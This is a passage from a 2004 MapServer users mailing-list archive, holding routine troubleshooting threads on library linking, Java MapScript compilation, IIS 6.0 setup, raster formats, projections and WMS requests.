"./mapserv:error while loading shared libraries:libgd.so.2:cannot open shared object file: no such file or directory" I install GD 2.0.12 in /usr/local please any help. thank's for any help From merlos at tsc.uvigo.es Wed Jun 9 12:20:34 2004 From: merlos at tsc.uvigo.es (Merlos) Date: Wed, 9 Jun 2004 21:20:34 +0200 Subject: [Mapserver-users] java mapscript getPoints is already defined error In-Reply-To: <20040609162709.15211.qmail@web60002.mail.yahoo.com> References: <20040609162709.15211.qmail@web60002.mail.yahoo.com> Message-ID: I also had that problem when compiling java mapscript for mapserver 4.2 If you compare original java files with patched java files you will see that it only removes the redundant functions. The problem is that in C++ you can return different classes in two methods that have the same name and arguments, but in java it is not possible. So what I did to overtake this error was edit symbolObj.java nd on line 207 removed this line: public lineObj getPoints() { And added: public lineObj getPoints(boolean lala) { if (lala==true) {} At least it compiled. And could finish all the stuff following the steps of the howto. Regards. Juan. I suppose it would be a good idea add it to the wiki. On Wednesday 09 June 2004 18:27, gabriel hunter wrote: > Hi all, > > I'm new to mapserver, I tried to compile java mapscript but I can't go any > further without some help. > > I followed the JavaMapScriptHowTo, but executing > > javac edu/umn/gis/mapscript/*.java > > without patching, gives an error about functions already defined: > > setExtension and setMimetype in file outputFormatObj.java > getPoints in file symbolObj.java > > and an "attempting to use incompatible return type" on function clone in > file mapObj.java. > > when I apply the patch I can see that change are made to files > outpuFormatObj.java and mapObj.java, but no changes are made to > symbolObj.java > > so I compiled again and get: > > symbolObj.java:207: getPoints() is already defined > > I'm using mapserver 4.2, gdal 1.2.0b, gd 2.0.20, swig 1.3.21 on slackware > 9.1 > > What can I do? > > Thanks in advance. > > Gabriel Hunter > > > --------------------------------- > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger -- -- http://www.merlos.biz From jeramie at Idghelp.us Wed Jun 9 10:51:48 2004 From: jeramie at Idghelp.us (Jeramie Gatchell) Date: Wed, 9 Jun 2004 10:51:48 -0700 Subject: [Mapserver-users] Mapserver and IIS 6.0 Message-ID: <200406091752.i59HqGFS027697@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0020_01C44E0F.C3D7C3F0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Any have any experience setting up the windows binaries on IIS 6.0 (windows 2003)? I've got it unpacked and have copied the files to their appropriate spots (I believe) but when I try and run the demo.. the first screen comes up fine, but when I choose something from the pulldown I get a page cannot be found error.. http://mapserver.idghelp.us/workshop/index.html if you want to look. Thanks for any help. Jeramie ------=_NextPart_000_0020_01C44E0F.C3D7C3F0 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Any have any experience setting up the windows = binaries on IIS 6.0 (windows 2003)?  I’ve got it unpacked and have copied = the files to their appropriate spots (I believe) but when I try and run the demo.. = the first screen comes up fine, but when I choose something from the = pulldown I get a page cannot be found error..

 

http://mapserver= .idghelp.us/workshop/index.html if you want to look.

 

Thanks for any help.

 

Jeramie

 

------=_NextPart_000_0020_01C44E0F.C3D7C3F0-- From berend.veldkamp at aris.nl Wed Jun 9 10:57:47 2004 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Wed, 09 Jun 2004 19:57:47 +0200 Subject: [Mapserver-users] Mapserver doesn't create image, no crash In-Reply-To: <40C731CA.8030603@aris.nl> References: <40C731CA.8030603@aris.nl> Message-ID: <6.1.0.6.0.20040609195522.025f70f0@127.0.0.1> It seems html code is stripped from messages, so here it is again: At 17:50 6/9/2004, Berend Veldkamp wrote: >Hi, > >I'm in the process of upgrading an old mapserver CGI (3.4) application to 4.2. I have most things working now, but it seems that now and then mapserver doesn't create a map image (there's nothing in the tmp dir). >Instead, I get the following output: (This part was stripped): - An emtpy HTML page, with the output of mapserv -v as a comment - >It seems it depends on which layers I have turned on, and which area I'm >zoomed in to. However I can't find a clear pattern, sometimes I have to >turn on a particular layer to make it work, other times I have to turn >off a layer. > >When I turn on logging in the WEB object, I get this: > >Wed Jun 9 17:37:32 2004,21917,127.0.0.1,vl,0,172329.357920 >438926.688000 196177.642080 453219.312000,0.000000 0.000000,route bkgrnd >nummers roads landuse ,normal execution >Wed Jun 9 17:37:42 2004,21928,127.0.0.1,vl,0,172329.357920 >438926.688000 196177.642080 453219.312000,0.000000 0.000000,route bkgrnd >nummers roads toerinfo landuse , > >On the second line, 'toerinfo' is turned on, and I don't get the 'normal >execution' message. >I have no idea where to start looking, so any hints are appreciated. > >I already tried (to no avail): >- Different ouput format (jpeg, png, png 24 bit) >- Upgrading GD to 2.0.26 >- Removing all antialiasing, backgroundcolors, pixmap symbols etc, >reducing the number of colors from >1000 to 15 >- Tried MS 4.0 and 4.2 > > >Thanks in advance, Berend From edspremolla at Antel.com.uy Wed Jun 9 11:30:00 2004 From: edspremolla at Antel.com.uy (Eduardo Spremolla) Date: Wed, 09 Jun 2004 15:30:00 -0300 Subject: [Mapserver-users] Problems compiling mapserv In-Reply-To: <4090B18E00081EE0@hudson.vtr.net> References: <4090B18E00081EE0@hudson.vtr.net> Message-ID: <1086805800.9541.1.camel@fly.in.iantel.com.uy> Did you add /usr/local/bin to the /etc/ls.so.conf ?? Read the ls.so.conf man page for adding new path for library. LALO El mi??, 09-06-2004 a las 14:17, marcosvarela at vtr.net escribi??: > Hi, I write from Chile, My english is bad, i'm very sorry for that > > I compiling Mapserver in REDHAT 9. When execute mapserv send this message: > "./mapserv:error while loading shared libraries:libgd.so.2:cannot open shared > object file: no such file or directory" > > I install GD 2.0.12 in /usr/local > > please any help. > > thank's for any help > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Eduardo Spremolla Antel I+D From woodbri at swoodbridge.com Wed Jun 9 11:39:32 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 09 Jun 2004 14:39:32 -0400 Subject: [Mapserver-users] Problems compiling mapserv In-Reply-To: <4090B18E00081EE0@hudson.vtr.net> References: <4090B18E00081EE0@hudson.vtr.net> Message-ID: <40C75964.5080401@swoodbridge.com> marcosvarela at vtr.net wrote: > Hi, I write from Chile, My english is bad, i'm very sorry for that > > I compiling Mapserver in REDHAT 9. When execute mapserv send this message: > "./mapserv:error while loading shared libraries:libgd.so.2:cannot open shared > object file: no such file or directory" > > I install GD 2.0.12 in /usr/local > > please any help. > > thank's for any help You probably need to add /usr/local/lib to your /etc/ld.so.conf file then do ldconfig as root. -Steve W. From David.Fawcett at state.mn.us Wed Jun 9 12:08:49 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Wed, 09 Jun 2004 14:08:49 -0500 Subject: [Mapserver-users] Mapserver and IIS 6.0 Message-ID: Jaramie, Did you modify the path and URLs in the Map file and html templates to reflect your local setup? David. David J. Fawcett MN Office of Environmental Assistance >>> "Jeramie Gatchell" 6/9/2004 12:51:48 PM >>> Any have any experience setting up the windows binaries on IIS 6.0 (windows 2003)? I've got it unpacked and have copied the files to their appropriate spots (I believe) but when I try and run the demo.. the first screen comes up fine, but when I choose something from the pulldown I get a page cannot be found error.. http://mapserver.idghelp.us/workshop/index.html if you want to look. Thanks for any help. Jeramie From imd_listuser at comcast.net Wed Jun 9 12:07:30 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Wed, 9 Jun 2004 15:07:30 -0400 Subject: [Mapserver-users] Mapserver and IIS 6.0 Message-ID: <90264B8395BF154DB2CB12B068DFFAE90529E8@westward.im-design.net> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44E55.03ACF10E Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi Jeramie =20 IIs6 comes in locked own mode, so you need to explicitly allow the mapserver cgi executables to run. Check the help in iis6 for Web Server Extensions.... =20 Cheers =20 =20 Charlie Van Dusen charlie at im-design.net =20 ________________________________ From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jeramie Gatchell Sent: Wednesday, June 09, 2004 1:52 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver and IIS 6.0 Any have any experience setting up the windows binaries on IIS 6.0 (windows 2003)? I've got it unpacked and have copied the files to their appropriate spots (I believe) but when I try and run the demo.. the first screen comes up fine, but when I choose something from the pulldown I get a page cannot be found error.. =20 http://mapserver.idghelp.us/workshop/index.html if you want to look. =20 Thanks for any help. =20 Jeramie =20 ------_=_NextPart_001_01C44E55.03ACF10E Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Hi Jeramie
 
IIs6 comes in locked own mode, so you need to = explicitly allow the mapserver cgi executables to run. Check the help in = iis6=20 for Web Server Extensions....
 
Cheers
 
 
Charlie Van = Dusen
charlie at im-design.net
 


From: = mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of = Jeramie=20 Gatchell
Sent: Wednesday, June 09, 2004 1:52 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Mapserver=20 and IIS 6.0

Any have any experience = setting up=20 the windows binaries on IIS 6.0 (windows 2003)?  I’ve got it = unpacked and=20 have copied the files to their appropriate spots (I believe) but when I = try and=20 run the demo.. the first screen comes up fine, but when I choose = something from=20 the pulldown I get a page cannot be found = error..

 

http://mapserver= .idghelp.us/workshop/index.html=20 if you want to look.

 

Thanks for any=20 help.

 

Jeramie

 

------_=_NextPart_001_01C44E55.03ACF10E-- From gayathri at ou.edu Wed Jun 9 12:18:32 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Wed, 9 Jun 2004 14:18:32 -0500 Subject: [Mapserver-users] Regarding very large raster files. Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B70A@XMAIL1.sooner.net.ou.edu> Hi: We are planning to get some 1-foot resolution orthos from the seamless.gov But I have the following queries..and want to be sure of raster handling before purchase. 1) Is MrSID a preferrable format? - My guess is no, correct? Although GDAL supports Mr.SID we are taking about continuous decompression when the rasters are accessed which is definetely slower than direct access. 2) Is converting to TIFF the way to go? -But GDAL's supported formats link mentions that TIFF can have max.size of only 4GB... Any pointers on the above questions will be greatly useful.... Thanks Gayathri From fegraus at nceas.ucsb.edu Wed Jun 9 13:11:47 2004 From: fegraus at nceas.ucsb.edu (Eric Fegraus) Date: Wed, 9 Jun 2004 13:11:47 -0700 Subject: [Mapserver-users] Projection and/or Extent problem Message-ID: <000501c44e5d$fe45f860$8fdc6f80@milpas> This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C44E23.51E72060 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello, I'm beginning with Mapserver. Have it installed on Linux with Apache. = I'm trying to make an image of one of my shapefiles. The image is created = but the size of the shapefile as part of the image is about 1/100 the size = of the image (i.e. most all the image is white and the shapefile appears in = the top left corner of the image). Have a feeling it must be due to my = extent and/or Projection. Any ideas? Thanks! Eric -------------------------------------------------------------------------= --- ----------------------------------- Start of map file # MAP IMAGETYPE PNG NAME Test STATUS ON SIZE 400 400 EXTENT 283091.000000 352956.000000 7529638.000000 7427241.000000 UNITS METERS SHAPEPATH "data" IMAGECOLOR 255 255 255 # # Projection definition, consult the PROJ.4 documentation for = parameter discussion # PROJECTION "proj=3Dutm" "zone=3D36" "south" "ellps=3DWGS84" "datum=3DWGS84" "units=3Dm" "no_defs" # # OR: # # "init=3Depsg:32736" END #-- Begin layer defs.--------------------- LAYER PROJECTION "proj=3Dutm" "datum=3DWGS84" END NAME SOILS_shape =20 TYPE POLYGON STATUS DEFAULT DATA SOILS_shape CLASS OUTLINECOLOR 128 128 128 COLOR 225 225 185 END #-- End class def. END #--End Layer def. END #-- End Map File ------=_NextPart_000_0006_01C44E23.51E72060 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Projection and/or Extent problem

Hello,

I'm beginning with Mapserver.  = Have it installed on Linux with Apache.  I'm trying to make an = image of one of my shapefiles.  The image is created but the size = of the shapefile as part of the image is about 1/100 the size of the = image (i.e. most all the image is white and the shapefile appears in the = top left corner of the image).  Have a feeling it must be due to my = extent and/or Projection.  Any ideas?

Thanks!
Eric
----------------------------------------------------------= -----------------------------------------------------
 Start of map file
#
MAP
  IMAGETYPE PNG
  NAME Test
  STATUS ON
  SIZE 400 400
  EXTENT 283091.000000 = 352956.000000 7529638.000000 7427241.000000
  UNITS METERS
  SHAPEPATH = "data"
  IMAGECOLOR 255 255 255
  #
  # Projection definition, = consult the PROJ.4 documentation for parameter discussion
  #
   PROJECTION
     = "proj=3Dutm"
     = "zone=3D36"
     = "south"
     = "ellps=3DWGS84"
     = "datum=3DWGS84"
     = "units=3Dm"
     = "no_defs"
  #
  #   OR:
  #
#     = "init=3Depsg:32736"
   END
#-- Begin layer = defs.---------------------

  LAYER
    PROJECTION
     = "proj=3Dutm"
     = "datum=3DWGS84"
    END
    NAME = SOILS_shape  
    TYPE POLYGON
    STATUS = DEFAULT
    DATA = SOILS_shape
        CLASS
         &nbs= p; OUTLINECOLOR 128 128 128
         &nbs= p; COLOR 225 225 185
        END #-- End = class def.
  END #--End Layer def.

END #-- End Map File

------=_NextPart_000_0006_01C44E23.51E72060-- From keon at nacse.org Wed Jun 9 13:33:29 2004 From: keon at nacse.org (Dylan Keon) Date: Wed, 09 Jun 2004 13:33:29 -0700 Subject: [Mapserver-users] Projection and/or Extent problem In-Reply-To: <000501c44e5d$fe45f860$8fdc6f80@milpas> References: <000501c44e5d$fe45f860$8fdc6f80@milpas> Message-ID: <40C77419.7020800@nacse.org> The LAYER projection definition looks incomplete, for one thing. If you're working with just a single layer the projection definitions aren't really necessary - try commenting out all of the projection definitions (both in the MAP block and the LAYER block) and see if that makes a difference. It could also be an EXTENT problem, but try the projection stuff first. --Dylan On 6/9/2004 1:11 PM, Eric Fegraus wrote: > Hello, > > I'm beginning with Mapserver. Have it installed on Linux with Apache. > I'm trying to make an image of one of my shapefiles. The image is > created but the size of the shapefile as part of the image is about > 1/100 the size of the image (i.e. most all the image is white and the > shapefile appears in the top left corner of the image). Have a feeling > it must be due to my extent and/or Projection. Any ideas? > > Thanks! > Eric > --------------------------------------------------------------------------------------------------------------- > > Start of map file > # > MAP > IMAGETYPE PNG > NAME Test > STATUS ON > SIZE 400 400 > EXTENT 283091.000000 352956.000000 7529638.000000 7427241.000000 > UNITS METERS > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > # > # Projection definition, consult the PROJ.4 documentation for > parameter discussion > # > PROJECTION > "proj=utm" > "zone=36" > "south" > "ellps=WGS84" > "datum=WGS84" > "units=m" > "no_defs" > # > # OR: > # > # "init=epsg:32736" > END > #-- Begin layer defs.--------------------- > > LAYER > PROJECTION > "proj=utm" > "datum=WGS84" > END > NAME SOILS_shape > TYPE POLYGON > STATUS DEFAULT > DATA SOILS_shape > CLASS > OUTLINECOLOR 128 128 128 > COLOR 225 225 185 > END #-- End class def. > END #--End Layer def. > > END #-- End Map File > -- ************************************************************** Dylan Keon - GIS Coordinator Northwest Alliance for Computational Science and Engineering Oregon State University Corvallis, OR 97331 keon at nacse.org voice: 541-737-6608 fax: 541-737-6609 http://gis.nacse.org ************************************************************** From bob.basques at ci.stpaul.mn.us Wed Jun 9 14:03:08 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Wed, 09 Jun 2004 16:03:08 -0500 Subject: [Mapserver-users] Data Access question. Message-ID: <40C77B0C.5030504@ci.stpaul.mn.us> All, Are there any pitfalls to watch for with regards to using the same (Physical) data stores to feed multiple MapServers (Different Web servces on different boxes?) I keep my Data on a NAS that is mounted on all the Server Linux Boxes. Each of the server can see the same dataset. Is this a wise procedure to follow? Thanks bobb From ealpert at digitalglobe.com Wed Jun 9 14:34:37 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Wed, 9 Jun 2004 15:34:37 -0600 Subject: [Mapserver-users] Shapefile attributes from mapscript::shapefileObj? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C76@COMAIL01.digitalglobe.com> Ok I give up how can I get attributes of shapes from a shapefile using PERL mapscript? I need to extract the attributes to create labels and everything I've tried gives me nothing. I have 33 points in a shapefile and each point has a name and an elevation as attributes. I can see these in Arc Explorer so I know they're there. Thanks, -e From ed at topozone.com Wed Jun 9 15:03:07 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 9 Jun 2004 18:03:07 -0400 Subject: [Mapserver-users] RE: Regarding very large raster files. Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB07709C@ptolemy.topozone.com> Gayathri - I have not obtained any of that data from the seamless data distribution system, but I do have quite a bit of it in the "bulk" master distribution format. That data is distributed in 5,000 x 5,000 pixel tiles (i.e. a little less than one square mile) as uncompressed 24-bit true-color GeoTIFFs. As a result, each file is 75 megabytes (5K * 5K * 3), which is certainly a moderate size to handle with GDAL and MapServer. Color infrared DOQQ images are twice that size. The seamless data appears to only be available (for this dataset) as TIFF images, so if you want MrSID you'd need to do the compression yourself. You don't say how much data / what area you're acquiring, so it's hard to tell. If you have or can afford the disk space to store the data as GeoTIFFs you will get better performance than MrSID images (except possibly in extreme circumstances) and you will especially benefit if you have many simultaneous users. However, if disk space is at a premium or your user load will be light, MrSID could be the better choice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Swaminathan, Gayathri [mailto:gayathri at ou.edu] Sent: Wednesday, June 09, 2004 3:19 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: Regarding very large raster files. Hi: We are planning to get some 1-foot resolution orthos from the seamless.gov But I have the following queries..and want to be sure of raster handling before purchase. 1) Is MrSID a preferrable format? - My guess is no, correct? Although GDAL supports Mr.SID we are taking about continuous decompression when the rasters are accessed which is definetely slower than direct access. 2) Is converting to TIFF the way to go? -But GDAL's supported formats link mentions that TIFF can have max.size of only 4GB... Any pointers on the above questions will be greatly useful.... Thanks Gayathri From ed at topozone.com Wed Jun 9 15:05:38 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 9 Jun 2004 18:05:38 -0400 Subject: [Mapserver-users] Mapserver and IIS 6.0 Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB07709D@ptolemy.topozone.com> This looks like the symptom of the common "zlib.dll isn't accessible" problem. Try putting zlib.dll in the same directory as mapserv.exe or ensuring that it's in a location with the right permissions for mapserv.exe to load it. The mapserv.exe appears to be running (i.e. the CGI app has the proper permissions) because otherwise it wouldn't be the thing that's failing. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jeramie Gatchell Sent: Wednesday, June 09, 2004 1:52 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver and IIS 6.0 Any have any experience setting up the windows binaries on IIS 6.0 (windows 2003)? I've got it unpacked and have copied the files to their appropriate spots (I believe) but when I try and run the demo.. the first screen comes up fine, but when I choose something from the pulldown I get a page cannot be found error.. http://mapserver.idghelp.us/workshop/index.html if you want to look. Thanks for any help. Jeramie From jeramie at Idghelp.us Wed Jun 9 16:05:50 2004 From: jeramie at Idghelp.us (Jeramie Gatchell) Date: Wed, 9 Jun 2004 16:05:50 -0700 Subject: [Mapserver-users] Mapserver and IIS 6.0 In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB07709D@ptolemy.topozone.com> Message-ID: <200406092306.i59N6DFS000289@lists.gis.umn.edu> Ok definite improvement.. Thanks a lot for all the help everyone.. I'm sure I'll have more reasonable questions in a few hours =] Jeramie From jonathan.mangano at startrack.com.au Wed Jun 9 18:36:01 2004 From: jonathan.mangano at startrack.com.au (Jonathan Mangano) Date: Thu, 10 Jun 2004 09:36:01 +0800 Subject: [Mapserver-users] Dynamic Features Message-ID: I am building a fleet management system that track moving vehicles using gps. I need to add mapping functionality but am new to the gis world and am having difficultly finding a starting point. Are there any mapserver tutorials that go through adding dynamic features to a map? Thanks From r0ss at shaw.ca Wed Jun 9 19:00:30 2004 From: r0ss at shaw.ca (Ross Smith) Date: Wed, 09 Jun 2004 20:00:30 -0600 Subject: [Mapserver-users] MApServer and ASP.Net In-Reply-To: <200406092306.i59N6DFS000289@lists.gis.umn.edu> Message-ID: <0HZ2006ANLKZ6V@l-daemon> From r0ss at shaw.ca Wed Jun 9 19:04:58 2004 From: r0ss at shaw.ca (Ross Smith) Date: Wed, 09 Jun 2004 20:04:58 -0600 Subject: [Mapserver-users] RE: MApServer and ASP.Net Message-ID: <0HZ2005JELSEMR@l-daemon> Hi everyone, I searched the archives because I assume this question has been asked a lot but I could not locate any conclusive answers. Can ASP.Net be used to design websites and communicate with the MapServer cgi exe? Any assistance would be useful, we are an ASP shop looking to move into the MapServer world and we would like to leverage our ASP knowledge. Thanks in advance, I will summarize the responses for everyone. Ross From janeks.kamerovskis at silva.lv Wed Jun 9 23:40:34 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Thu, 10 Jun 2004 09:40:34 +0300 Subject: [Mapserver-users] Dynamic Features Message-ID: In this case you should asshure two things: * database, that are capable to do near simultaneous (do no ruin) read and write requests for storing and requesting your dinamic features, * your web application in open stage can do requests to that data base (throught web server) after some reasonable time, so that users should not reload page themselves. It could be done with: or in some other technique. IN some cases you should take in account how proxies are working. brgds Janeks > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of > Jonathan Mangano > Sent: Thursday, June 10, 2004 4:36 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Dynamic Features > > > I am building a fleet management system that track moving > vehicles using gps. I need to add mapping functionality but am > new to the gis world and am having difficultly finding a starting > point. Are there any mapserver tutorials that go through adding > dynamic features to a map? > > Thanks > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From unicoletti at prometeo.it Wed Jun 9 23:51:02 2004 From: unicoletti at prometeo.it (Umberto Nicoletti) Date: 10 Jun 2004 08:51:02 +0200 Subject: [Mapserver-users] java mapscript getPoints is already defined error In-Reply-To: References: <20040609162709.15211.qmail@web60002.mail.yahoo.com> Message-ID: <1086850261.5089.2.camel@friedrich> Could you please add a patch file to the wiki? Thanks, Umberto On Wed, 2004-06-09 at 21:20, Merlos wrote: > I also had that problem when compiling java mapscript for mapserver 4.2 > > If you compare original java files with patched java files you will see that > it only removes the redundant functions. The problem is that in C++ you can > return different classes in two methods that have the same name and > arguments, but in java it is not possible. > > So what I did to overtake this error was edit symbolObj.java nd on line 207 > removed this line: > > public lineObj getPoints() { > > And added: > > public lineObj getPoints(boolean lala) { > if (lala==true) {} > > > At least it compiled. And could finish all the stuff following the steps of > the howto. > > > Regards. Juan. > > > I suppose it would be a good idea add it to the wiki. > > > On Wednesday 09 June 2004 18:27, gabriel hunter wrote: > > Hi all, > > > > I'm new to mapserver, I tried to compile java mapscript but I can't go any > > further without some help. > > > > I followed the JavaMapScriptHowTo, but executing > > > > javac edu/umn/gis/mapscript/*.java > > > > without patching, gives an error about functions already defined: > > > > setExtension and setMimetype in file outputFormatObj.java > > getPoints in file symbolObj.java > > > > and an "attempting to use incompatible return type" on function clone in > > file mapObj.java. > > > > when I apply the patch I can see that change are made to files > > outpuFormatObj.java and mapObj.java, but no changes are made to > > symbolObj.java > > > > so I compiled again and get: > > > > symbolObj.java:207: getPoints() is already defined > > > > I'm using mapserver 4.2, gdal 1.2.0b, gd 2.0.20, swig 1.3.21 on slackware > > 9.1 > > > > What can I do? > > > > Thanks in advance. > > > > Gabriel Hunter > > > > > > --------------------------------- > > Do you Yahoo!? > > Friends. Fun. Try the all-new Yahoo! Messenger From boli611 at hotmail.com Thu Jun 10 00:44:35 2004 From: boli611 at hotmail.com (boli) Date: Thu, 10 Jun 2004 15:44:35 +0800 Subject: [Mapserver-users] (no subject) Message-ID: Hello, Is there any requirement for raster file to be used by MapServer? As raster file is used in the tutorial of MapServer "Exmaple1.5", but the rater file can't be displayed when I replace the raster file listed in the map file with another TIF file. From norbert.thieme at ilmenau.baw.de Thu Jun 10 01:22:56 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Thu, 10 Jun 2004 10:22:56 +0200 Subject: [Mapserver-users] Shapefile attributes from mapscript::shapefileObj? In-Reply-To: <1FB6937A87F9074C9A2B8F9D9137EB16140C76@COMAIL01.digitalglobe.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C76@COMAIL01.digitalglobe.com> Message-ID: <40C81A60.2080606@ilmenau.baw.de> Ethan Alpert schrieb: > > Ok I give up how can I get attributes of shapes from a shapefile using > PERL mapscript? > > I need to extract the attributes to create labels and everything I've > tried gives me nothing. I have 33 points in a shapefile and each point > has a name and an elevation as attributes. I can see these in Arc > Explorer so I know they're there. > > Thanks, > > -e > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, I think you can use this simply as labelitem in the mapfile. If you only have two items then this should be no problem. You can make one layer as TYPE POINT with one item and a second as TYPE ANNOTATION with the second item. If you want you can put them together as a group. Regards, Norbert From v.winkler at geotec.de Thu Jun 10 01:46:41 2004 From: v.winkler at geotec.de (Winkler, Viola) Date: Thu, 10 Jun 2004 10:46:41 +0200 Subject: [Mapserver-users] Mapserver Workbench Message-ID: <5B70A170ED0ACE4B8A095B92A74B43480FDC81@server2.geotec.local> Hello, i want to install the Mapserver Workbench under Windows XP with IIS 5.1. Could anybody help me with an installation order. I'm specially interested in configuration the webserver. PHP-Mapsript is already installed on my system. Or is it maybe a problem to use Workbench with IIS? Viola From sebastien.dubois at esm2.imt-mrs.fr Thu Jun 10 01:59:12 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Thu, 10 Jun 2004 10:59:12 +0200 Subject: [Mapserver-users] phpmapscript basic error? Message-ID: <1086857952.40c822e093fb2@webmail.esm2.imt-mrs.fr> Hi all, thanks to you to read this post with guys like you i'm improving day after day to be able to answer query too ... ;-) well i've start to code in phpmapscript and when I use ms_newmapobj() this is the error I got : Fatal error: Call to undefined function: ms_newmapobj() in /var/www/html/workshop/phpmapscript/test.php on line 110 but this is my config on redaht 9 MapScript MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE PHP MapScript Version ($Revision: 1.194.2.3 $ $Date: 2004/05/13 21:37:44 $) To my ming the installation is ok so why mapserv don't locate ms_functions???? thanks in advance -- S?bastien DUBOIS Ecole G?n?raliste d'Ing?nieurs de Marseille (ex ESM2) 1024D/A1140BCB Empreinte de la cl? = 1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB disponible sur www.keyserver.net ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From john.pulles at geodan.nl Thu Jun 10 02:28:12 2004 From: john.pulles at geodan.nl (John Pulles) Date: Thu, 10 Jun 2004 11:28:12 +0200 Subject: [Mapserver-users] crash using srs parameter in getmap request Message-ID: <40C829AC.802@geodan.nl> Hi List Using a map file with projection settings as shown below, I get a crash of mapserver when doing an opengis getmap request with &srs=epsg:28992. With an absent srs parameter or with &srs=epsg:4326 a correct map is returned. Does anyone have an idea what could be wrong? BTW: I am using MapServer version 4.2-beta2 on W2K, with the PROJ_LIB environment variable set to the directory containing the epsg file. Regards, John Pulles. MAP NAME "Demo" PROJECTION # RD "init=EPSG:28992" END EXTENT 10000 305000 280000 619000 SHAPEPATH "c:\kaarten" UNITS meters WEB METADATA "wms_title" "Demo" "wms_srs" "EPSG:4326 EPSG:28992" END END LAYER NAME provincies DATA "provincies" STATUS ON METADATA "wms_title" "Provincies" "wms_srs" "EPSG:4326 EPSG:28992" END TYPE POLYGON CLASS COLOR 212 212 212 OUTLINECOLOR 0 0 0 END PROJECTION # RD "init=EPSG:28992" END END END -------------------- From v.winkler at geotec.de Thu Jun 10 02:49:07 2004 From: v.winkler at geotec.de (Winkler, Viola) Date: Thu, 10 Jun 2004 11:49:07 +0200 Subject: [Mapserver-users] WG: Mapserver Workbench Message-ID: <5B70A170ED0ACE4B8A095B92A74B43480D7EDB@server2.geotec.local> > -----Urspr?ngliche Nachricht----- > Von: Winkler, Viola > Gesendet: Thursday, June 10, 2004 10:47 AM > An: 'mapserver-users at lists.gis.umn.edu' > Betreff: Mapserver Workbench > > Hello, > > i want to install the Mapserver Workbench under Windows XP with IIS > 5.1. Could anybody help me with an installation order. I'm specially > interested in configuration the webserver. PHP-Mapsript is already > installed on my system. Or is it maybe a problem to use Workbench with > IIS? > > Viola > From norbert.thieme at ilmenau.baw.de Thu Jun 10 03:11:02 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Thu, 10 Jun 2004 12:11:02 +0200 Subject: [Mapserver-users] (no subject) In-Reply-To: References: Message-ID: <40C833B6.7070002@ilmenau.baw.de> boli schrieb: > Hello, > > Is there any requirement for raster file to be used by MapServer? > As raster file is used in the tutorial of MapServer "Exmaple1.5", but the rater file can't be displayed when I replace the raster file listed in the map file with another TIF file. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi. What do you mean by replace? The mapserver always need to have the right extent and projections. Is this what you mean by requirement? Are you sure 